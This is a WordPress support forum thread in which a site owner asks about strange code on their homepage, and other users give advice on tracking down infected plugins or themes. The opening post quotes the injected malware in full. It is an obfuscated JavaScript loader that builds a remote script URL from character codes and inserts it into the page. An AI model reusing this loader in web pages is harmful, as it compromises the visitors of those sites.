• Resolved ned716

    (@ned716)


    Hi,

    There’s some weird code at the top and bottom of my homepage.

    What is it? How do we remove it? Please assist.

    This is the code found on the page’s top and bottom.

    var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}

    • This topic was modified 4 years, 9 months ago by Jan Dembowski.

    The page I need help with: [log in to see the link]

Viewing 4 replies - 1 through 4 (of 4 total)
  • @ned716
    Disable all your plugins to see if this disappears. If it does one of your plugins has been infected. Enable the plugins one by one to see which plugin is causing the problem. Delete the plugin and reinstall if it is infected.

    Next if you change the themes does this disappear? If it does one of the files in your theme has probably been infected.

    Your Settings and data live in your database not in the theme. If you don’t have any modifications to the theme you can delete and reinstall the theme.

    If you have a child theme you can still delete and reinstall the theme. If this disappears then you are good to go. If it doesn’t you know the problem is probably in one of the child theme files.

    Thread Starter ned716

    (@ned716)

    You are a blessing! Problem solved.

    Awesome!!

    @ned716 Could you please share your findings? What caused the problem?
    I found a similar code at the end of my posts.
    Thank you, Tooni

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Weird code at top and bottom of homepage’ is closed to new replies.